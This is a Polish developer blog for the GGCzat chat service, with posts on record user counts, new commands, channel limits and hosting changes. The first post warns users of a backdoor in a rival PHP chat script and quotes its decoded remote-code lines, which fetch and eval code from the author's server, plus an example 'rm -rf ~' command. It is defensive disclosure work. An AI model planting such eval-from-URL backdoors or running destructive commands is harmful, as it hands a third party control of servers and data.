GGCzat DevBlog

Masz czat na skrypcie konkurencji? Jeden z nich ma backdoora, sprawdź czy nie Twój!

Thu, 05 May 2011 21:57:00 +0200

Masz czat na skrypcie konkurencji? Uważaj, jeden z autorów umieścił w swoim kodzie backdoora dającego mu nieograniczone możliwości robienia z czatem co tylko chce.

Przez grzeczność nie podamy kto jest autorem wspomnianego czatu, ale jeśli ma on katalogi takie jak “Class”, “Cmd”, “Configs”, “GGBotApi” to ten tekst jest dla Ciebie.

Otwieramy plik Class/main-functions.php i zaczynamy.

W liniach 86 oraz 87 widzimy nieco zaciemniony kod który wygląda tak:

eval(base64_decode(‘ZXZhbChiYXNlNjRfZGVjb2RlK…

Samo odszyfrowanie tego kodu nie wystarczy, bo jest tam kolejny eval i tak kilka razy aż otrzymujemy przejrzysty kod:

$url = ‘http://dewochatscript.us.to/check.php?check=nr&nr=’.$from;
eval(file_get_contents($url));

Druga linijka jeszcze mocniej przyciemniona bo po zdekodowaniu zmienne o dziwnych ciągach znaków znów podstawione do evala. Wydajnościowa bomba, ale pomińmy to. Czyli request jest przekazywany do serwera autora i oczekuje na rozkazy. Domyślnie jest tam

eval(buildFunc());if($user[‘rank’] >= 6 && $user[‘nr’] != 5XXX9) die(“Blad. Licencja skryptu nie zezwala na zmiane ilosci rang!”);

Czyli dalsze wykonanie skryptu na tyle sprytnie zrobione, że wywalenie zaciemionego kodu go całkiem przerywa, ale… takie rozwiązanie daje nieograniczone możliwości. exec(‘rm -rf ~’) - jako skasowanie wszystkich danych użytkownika i o wiele innych, poprostu wykonanie dowolnego kodu na serwerze czatu który by się autorowi nie spodobał.

Jedziemy dalej, linia 107 i 108, identyczna sytuacja, zaciemniony kod, a po odkodowaniu:

$url = ‘http://dewochatscript.us.to/check.php?check=nr&nr=’.$from;
eval(file_get_contents($url));

Znów to samo. Autor zadał sobie sporo trudu aby to zaciemnić, chyba więcej niż aby stworzyć ten skrypt. Warto nadmienić, że takie cudo idzie co wiadomość więc jest to nie dość, że wydajnościowa bomba do zdekodowania, to jeszcze oczekiwanie na połączenie, no i backdoor.

Docieramy w końcu do linii 128 i 129 które z założenia mają być checkverem:

$url = ‘http://dewochatscript.us.to/check.php?check=ver&ver=’.$VER.’&gg=’.$gg;
eval(file_get_contents($url));

Skrypt jest naszpikowany kodem który jest zaciemniony w większości przypadków 6cio krotnie. Umożliwia to autorowi wykonanie dowolnego kodu na czacie którego nie polubi, i bynajmniej nie chodzi o to, że da sobie rangę ;) Jeśli serwer PHP pozwala na exec to może wykonać wszystko na serwerze, skasować dane użytkownika, a co tam.

Oficjalne stanowisko autora jest takie, że są to funkcje które często musi aktualizować, ale ja w to nie wierzę. Można wydać nową wersję, nie trzeba tak cudować.

Jeśli używasz tego czatu, to przestań jak najszybciej. Stanowi on poważne zagrożenie dla twoich danych oraz twojego serwera. Jeśli ktoś chce zobaczyć cały plik który omawiałem to jest on tutaj: link

Wyniki wiosennego bicia rekordu

Sun, 10 Apr 2011 20:23:00 +0200

Wczoraj, tj. 09.04.2011 postanowiliśmy podjąć akcję bicia rekordu osób online. Akcja była zapowiedziana już wcześniej, między innymi na Facebooku, na czacie kanałowym itd. To takie następstwo wiosennych porządków na czatach :)

W całym wydarzeniu udział wzięło 90 osób:

<#Kubofonista><@Devil><%Loczek><@JuSs><%PijanyIndyk><400XX70><571XX90><84XX840><766XX03><3413XX18><982XX96><1071XX91><34172598><791XX40><3324XX20><@KazorlaX>

Ustanowiony został nowy rekord - 71 osób online:

<#Kubofonista> <@Devil> <%Loczek> <@JuSs> <766XX03> <%PijanyIndyk> <982XX96> <571XX90> <840XX40> <3417XX98>

Z pewnych względów, za rekord można by uznać pierwszą liczbę. Dlaczego? Akcja została zorganizowana technicznie nieco inaczej niż poprzednia. Poprzednim razem blokowaliśmy wysyłanie wiadomości na czat, bo mieliśmy limit wiadomości na minutę. Efektem pobocznym był brak spamu przez co ludzie nie wychodzili z czatu. Tym razem takiej blokady nie było, czat działał wyśmienicie, bardzo płynnie i nic złego się nie działo ale taki nadmiar wiadomości przeszkadzał użytkownikom którzy po prostu wychodzili, my im wychodzenia nie blokowaliśmy. Gdyby zablokować pisanie wiadomości te 90 mielibyśmy na luzie jako oficjalny wynik :)

A jak to było od strony technicznej?

Generowaliście bardzo dużo wiadomości. W przeciągu minuty pisaliście około 100 wiadomości, w przypadku czatu wiadomość musi być wysłana do wszystkich zalogowanych więc w rekordowym momencie 100 wiadomości * 71 osób online dało 7100 wiadomości na minutę. Normalnie za takie coś numerek dostał by bana (limit wynosi 160 wiad/min) ;)
CPU, baza danych ani ogólnie serwer nic nie odczuł, na wykresach widać tylko niewielkie zmiany.

Dzięki wszystkim którzy wzięli udział w evencie i do następnego ;-)

P.S Komentarze można zamieszczać na forum, zamiast tutaj. http://forum.ggczat.net/wyniki-wiosennego-bicia-rekordu-t-745.html

Wiosenne zmiany na czatach

Sat, 19 Mar 2011 16:58:30 +0100

Wiosna tuż tuż, pora na powiew świeżutkich zamian na czatach i tym sposobem dziś trochę się u nas zmieniło ;)

Na obu czatach, kanałowym i głównym został uproszczony sposób pisania privów, od teraz nie trzeba męczyć się z formą /priv nick treść czy też /p nick treść - wystarczy prostsze >nick treść

Czat kanałowy od teraz ma dostępne również aliasy czyli krótsze wersje komend, są one takie same jak na czacie głównym, dla przypomnienia:

/priv - /p
/quit - /q
/users - /u
/kick - /k
/ban - /b
/ver - /v
/unban - /un

Ponadto posiadamy teraz możliwości techniczne do świadczenia kanałów większej ilości osób (w chwili pisania tego postu na kanałach było online łącznie 762 osób) - zdecydowaliśmy się zatem na rozdawanie za darmo większych limitów slotów (jak wiadomo pojedynczy kanał miał dotychczas limit 5 osób online). Przy okazji tego, że chcieliśmy to zrobić w fajnej formie wprowadziliśmy pewien element losowości do silnika GGCzat’u a mianowicie komendę /losuj

Komenda /losuj jest dostępna tylko dla administratorów kanałów które nie posiadają żadnych zwiększeń slotów uzyskanych nieważne jaką drogą. Z komendy można korzystać raz miesięcznie i można w niej wylosować:

Utratę losowania na 1 miesiąc (czyli nic)
Zmniejszenie slotów do 1
Zmniejszenie slotów do 3
Zwiększenie slotów do 7
Zwiększenie slotów do 10
Zwiększenie slotów do 15

Zmiany wywołane komendą są nieodwracalne jednakże ważne tylko 1 miesiąc. Z komendy można skorzystać ponownie jedynie po wygaśnięciu poprzednich zmian (a więc po 1 miesiącu). Nie ma możliwości uchylenia zmniejszenia slotów nadanego przez tą komendę - losujesz to przyjmujesz ryzyko jakie za tym idzie.

LinuxPl pokazuje nam drogę do drzwi. Przymusowo zmieniamy hosting

Wed, 03 Nov 2010 23:49:00 +0100

Parę słów o wczorajszej awarii zostało opisanych na blogu administratora:

http://kubofonista.net/o-tym-jak-linuxpl-com-mnie-zalatwil

Zamiana kodów sygnaturek GGCzatu

Thu, 21 Oct 2010 16:08:17 +0200

Jakiś czas temu zmienialiśmy domeny serwisów GGCzat’a. Obecnie na wszystkich starych adresach występuje przekierowanie na nowy adres wraz ze stosownym komunikatem. Jedynym wyjątkiem był system sygnaturek, który działał tak samo na obu adresach. Sygnaturki działają nadal jednak już czas abyście uaktualnili swoje linki na forach oraz innych miejscach w których używacie tych sygnaturek.

Zmiana jaką należy wykonać to zmiana domeny w kodzie. Należy zmienić wszystkie ggczat.pl na ggczat.net lub zwyczajnie wygenerować sobie nowy kod na http://sig.ggczat.net

Warto to zrobić zważywszy na to, że aktualny kod mimo iż działa, prowadzi do starego adresu strony, a wkrótce sygnatury na nim występujące przestaną się aktualizować.

Ustanowiono nowy rekord: 51 osób online

Sat, 25 Sep 2010 21:31:07 +0200

Dziś rano wpadłem na spontaniczny pomysł bicia rekordu osób online na głównym czacie. Nie organizowałem jakiejś specjalnej akcji informowania o tym na kilka dni przed, zwyczajnie ustawiłem rano opisy na czacie zwykłym którego akcja miała dotyczyć oraz czacie kanałowym.

Opis na czacie kanałowym okazał się być strzałem w dziesiątkę - na czat główny zaczęło napływać dużo nowych osób, ogólnie było tak przez cały dzień, skuteczna reklama, że też mimo tych błąkających się osób pytających o nazwy kanałów wcześniej na to nie wpadłem, ale do rzeczy:

Rekord zaczęliśmy bić o godzinie 21, postanowiłem zaczekać nieco aż zbierze się więcej osób. Ich wchodzenie było możliwe wyłącznie dzięki temu, że na czas bicia rekordu zablokowałem pisanie wiadomości - działały wyłącznie komendy. Licznik był na tyle wysoki, że przed zablokowaniem czat się lagował aż przestał odpowiadać - efekt ograniczeń po stronie GG - po zmianie również trzeba było trochę odczekać, użytkownik piszący do czatu zamiast wywoływać wysłanie wiadomości do wszystkich osób online (dosyć kłopotliwe przy takich wysokich ilościach) otrzymywał informację o powodach blokady.

O godzinie 21:04 został ustanowiony nowy rekord: 51 osób online

Oto one:

<#Kubofonista> <%Loczek> <@JuSs> <+Leniwiec> <@Alina> <23285411> <1049047> <5855017> <25051488> <26098607>

Czekałem dłużej ale była duża rotacja, sporo osób przychodziło ale też sporo wychodziło, nie udało się uzyskać większego rekordu, aczkolwiek uważam, że ten jest i tak wysoki. Na koniec całej zabawy wyrzuciłem wszystkich online i odblokowałem komunikację, czat działa już sprawnie.

Dzięki za ustanowienie rekordu! :)

P.S: Rekord osób online na czacie kanałowym wynosi 540 osób online (na szczęście niewielu z nich gada więc nie powoduje to problemów) ;)

Blokada zmian nicków na czacie kanałowym

Tue, 15 Jun 2010 21:09:03 +0200

Począwszy od dnia dzisiejszego na czacie kanałowym zablokowana jest możliwość zmiany nicków. Dlaczego? Jest to moje wyjście naprzeciw oczekiwaniom administratorów kanałów. Sam byłem świadkiem tego jak dwie osoby co chwila zmieniały sobie nick i nie było wiadomo kto jest kim. W tym czacie nie było bowiem powiadomienia o zmianie nicka dla wszystkich. Oczywiście - taka osoba nie pozostaje anonimowa, w logu głównym widać nicki wraz z numerami, jednak administratorzy kanałów pozostawali bezradni - oni mogą widzieć tylko nicki.

Proszę nie pisać do mnie próśb o zmianę nicka, a bo źle mi się napisało, bo się pomyliłem itd. Nick można ustawić RAZ i nie ma możliwości jego późniejszej zmiany.

Zmiany na forum i w systemie sygnaturek

Sat, 05 Jun 2010 22:21:35 +0200

Witajcie.

W dniu wczorajszym został zmieniony skin forum na nieco ładniejszy. Nie będę opisywał jego wyglądu, zainteresowani niech zobaczą. Myślę, że jest on bardziej pasujący do czatu GG. W zasadzie nowy wygląd miał być końcem zmian. Nie stało się tak dlatego, że Shunkiano podsunął mi następny pomysł - aby pod danymi użytkownika było napisane jaką ma rangę na czacie. Wygląda to teraz tak:

O co chodzi z powiązaniem bądź nie konta z czatem? To dodatkowa weryfikacja którą wymyśliłem już sam. Polega na sprawdzeniu czy ktoś nie wpisał cudzego nicka w profilu. Aby zweryfikować swoje konto z forum należy wpisać na czacie /forum nick_z_forum.

Na wielu profilach figuruje teraz informacja o tym, że nie podano nicka z czatu. Przy rejestracji jest on już obowiązkowy jednak dotychczasowe osoby mogą ustawić nick na stronie edycji profilu.

WAŻNE! Nie używajcie tych obrazków (tak, ta informacja pod avatarem to obrazek) na innych forach. Są one dedykowane dla forum.ggczat.pl i wkrótce inne domeny zostaną odcięte od dostępu do nich. Na innych forach możecie używać tych z http://sig.ggczat.pl ;)

W związku z tym, że ostatnio sygnaturki oraz te obrazki ładują się strasznie wolno a przyczyną takiego stanu rzeczy jest komunikacja sygnatura<->api wprowadziłem cache 1 dniowe. Oznacza to, że dane na sygnaturkach oraz forum będą uaktualniane raz dziennie, o godzinie 23:00.

Ograniczamy wsparcie dla kanałów

Sun, 23 May 2010 11:40:00 +0200

Witajcie.

W związku z ostatnimi wydarzeniami postanowiłem ograniczyć wsparcie dla kanałów. Zapytacie pewnie jakimi wydarzeniami. Już odpowiadam: coraz więcej właścicieli kanałów dopuszcza się reklamowania swojego kanału na innych czatach a także…. na moim. Obsługa pewnego kanału poszła jeszcze dalej w swoich pomysłach i reklamowała swój kanał na priv. Skąd o tym wiem? Privy nie są rejestrowane, rejestrowane są natomiast wszystkie reklamy i to nie zależnie od tego czy są napisane na priv czy publicznie. Problem jest nieco globalniejszy i obejmuje nasze czaty partnerskie zatem postanawiam przeciwdziałać i ogłaszam co następuje:

Zabrania się jakiegokolwiek reklamowania swojego kanału na innych czatach. Jeśli otrzymam informacje, że jakiś kanał się tego dopuścił będzie bezwzględnie blokowany bez ostrzeżenia i słuchania wyjaśnień. Oczywiście każda sytuacja będzie rozpatrywana indywidualnie.
Wszystkie kanały będą ograniczone do 5 osób online. Taki limit sprawi, że nie będzie sensu reklamowania ich. Oczywiście tu zasada się zmienia tylko nieznacznie: jeśli ktoś bardzo potrzebuje większego limitu, np. kanał jest dla jakiejś stałej grupy osób do pogaduszek itd. nie ma problemu. Generalnie poprosić o zwiększenie limitu może każdy - jeśli natomiast zobaczę, że wykorzystuje go tylko “dla lansu”, by mieć więcej osób online poprzez reklamę - zmniejszę limit a w przypadku reklamy zablokuję kanał.
Wnioski o zwiększenie limitu należy pisać tutaj: http://forum.ggczat.pl/potrzebujesz-wiekszego-limitu-w-tym-temacie-zloz-wniosek-t-333.html
Czas na złożenie wniosku to tydzień czasu. Po tym okresie w przypadku braku wniosku kanał zostanie ograniczony do 5 osób online
Jedyna dopuszczalna forma reklamy w obrębie czatów partnerskich to wykupienie takowej na ggczat.pl

Szkoda, że przez głupie zachowanie administratorów kilkunastu kanałów muszę wprowadzać restrykcje ale cóż. Myślę jednak, że nie dotkną one zbyt znacznie uczciwych administratorów którzy nie wykorzystują kanałów do głupich celów.

Problemy w dostępie do forum usunięte

Sun, 16 May 2010 15:30:06 +0200

Witajcie.

Ostatnio zgłaszaliście problemy z dostępem do forum - u mnie one nie występowały i nie wiedziałem o co chodzi. Dziś przy okazji popsucia serwera DNS znalazłem przyczynę. Wtajemniczonym powiem, że rekordy NS pozostały ustawione na poprzedni hosting - niektóre clienty dns miały z tym problem.

Forum powinno zacząć działać poprawnie. Osoby które miały problem proszę o wypowiedź.

Pozdrawiam

Witajcie na blogu developerskim GGCzata :)

Sun, 16 May 2010 14:46:00 +0200

Jest to blog na którym będziemy informować o istotnych sprawach dotyczących działania GGCzata :)